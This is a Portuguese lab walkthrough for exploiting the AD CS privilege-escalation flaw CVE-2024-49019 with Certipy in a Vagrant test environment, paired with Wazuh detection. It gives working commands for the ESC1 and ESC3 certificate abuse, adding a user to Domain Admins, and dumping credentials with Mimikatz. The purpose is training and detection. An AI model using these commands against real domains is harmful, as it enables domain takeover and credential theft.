Explorando CVE-2024-49019: Escalação de Privilégios na Autoridade de Certificação

Visão Geral

A CVE-2024-49019 é uma vulnerabilidade nos Serviços de Certificados do Active Directory (AD CS) que permite a um atacante escalar privilégios ao usar indevidamente a autenticação baseada em certificados. Este guia demonstra como explorar essa vulnerabilidade usando o Certipy.

Tabela de Credenciais

A VM Ubuntu-Wazuh é usada para fins de detecção. Guia de Detecção Mitigação

Passo 1: Clone o Repositório e Configure as Máquinas Virtuais

Primeiro, clone o repositório contendo os arquivos necessários:

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

Instalar o Vagrant

Você deve instalar o Vagrant na sua máquina host antes de continuar.

Para Windows

Baixe e instale o Vagrant a partir de aqui ou instale usando o PowerShell:

choco install vagrant

Para Linux

sudo apt update && sudo apt install vagrant -y

Configurar Máquinas Virtuais

VM Windows Server 2022

cd windows-server2022
vagrant up

VM Kali Linux

cd kali-VM
vagrant up

VM Wazuh Ubuntu

cd WazuhUbuntu
vagrant up

Passo 2: Configure a Rede Virtual

Como o exploit requer uma rede NAT, configure o VirtualBox da seguinte forma:

No Windows

Antes de executar o comando abaixo, certifique-se de que VBoxManage foi adicionado às suas variáveis de ambiente. Se não estiver, execute o comando usando o caminho completo:

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Se VBoxManage não for reconhecido, use:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

No Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Certifique-se de verificar todas as VMs no VirtualBox e garanta que elas estejam atribuídas ao adaptador de rede NatNetwork - NatNet1. Você pode criar uma rede NAT com um nome diferente, mas ela deve estar no intervalo de IP 10.0.2.0/24.

Nota: Recomenda-se configurar o DNS para o servidor Wazuh. Nesse caso, o DNS deve ser: 10.0.2.1 - Às vezes, sem internet, a verificação da API falha e você não consegue acessar o painel do Wazuh.

Passo 3: Modifique o Arquivo de Hosts

Antes de continuar, certifique-se de que todas as VMs estejam ligadas.

Acesse a VM Kali Linux para iniciar o ataque e atualize o arquivo /etc/hosts:

sudo nano /etc/hosts

Adicione a seguinte entrada:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

Salve e saia.

Passo 4: Configure o Ambiente

Navegue até o diretório CVE-49019 e ative o ambiente virtual Python:

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

Passo 5: Métodos de Exploração

Existem duas maneiras de explorar essa vulnerabilidade: ESC1 e ESC3.

Método ESC1

Encontrar Modelos Vulneráveis

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Solicitar Certificado

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

Usar o Certificado para Acesso ao Shell LDAP

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Adicionar um Novo Usuário

add_user badadmin

Adicionar Usuário ao Grupo Admins do Domínio

add_user_to_group badadmin "Domain Admins"

Método ESC3

Encontrar Modelos Vulneráveis

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Solicitar Certificado do Usuário de Teste

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

Solicitar Certificado para Administrador do Domínio usando o certificado do testuser

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

É aqui que esse método difere do ESC1, pois ele pode solicitar PKINIT e obter os hashes do TGT

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

Nota: Caso você receba o erro: ao tentar solicitar o TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Existe uma solução alternativa: certifique-se de que sua máquina host tenha o mesmo horário que o Windows Server. Certifique-se de executar este comando para atualizar a VM Kali-Linux para que fique igual ao Windows Server.

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

Certifique-se de que o Windows Server tenha o mesmo fuso horário que a máquina host. Considere que ele não pode ser modificado por causa da organização. Por favor, considere ir em Data e Fuso Horário para alterá-lo manualmente de modo a corresponder à máquina host. A Kali-VM e o Windows Server precisam ter o mesmo horário que a máquina host.

Você pode tentar forçar a sincronização de horário usando o comando abaixo

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

Usar o Certificado para Obter Acesso de Administrador

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Passo 6: O Que Você Pode Fazer Após a Exploração?

Uma vez obtido o acesso de nível administrativo, o atacante pode:

• Criar e gerenciar contas de usuário
  root@kitploit:~

  net user hacked /add
  net localgroup "Administrators" hacked /add
  

• Extrair credenciais usando o Mimikatz:
  root@kitploit:~

  sekurlsa::logonpasswords
  

• **Secretdump usando Impacket
• **Wmiexec para acessar o shell do Windows Server
• **Alterar o Administrador do Windows Server usando o BloodyAD
• Pivotar e mover-se lateralmente dentro da rede
• Estabelecer persistência
• Exfiltrar dados sensíveis

Para estratégias de detecção e mitigação, consulte o guia de detecção.

Conclusão

A CVE-2024-49019 apresenta um risco de segurança significativo devido à sua capacidade de permitir escalada de privilégios não autorizada. Compreender essa vulnerabilidade e implantar mecanismos de detecção adequados, como o uso do Wazuh, é crucial para proteger ambientes do Active Directory.

Para obter mais informações sobre como proteger o AD CS, consulte Microsoft Security CVE-2024-49019.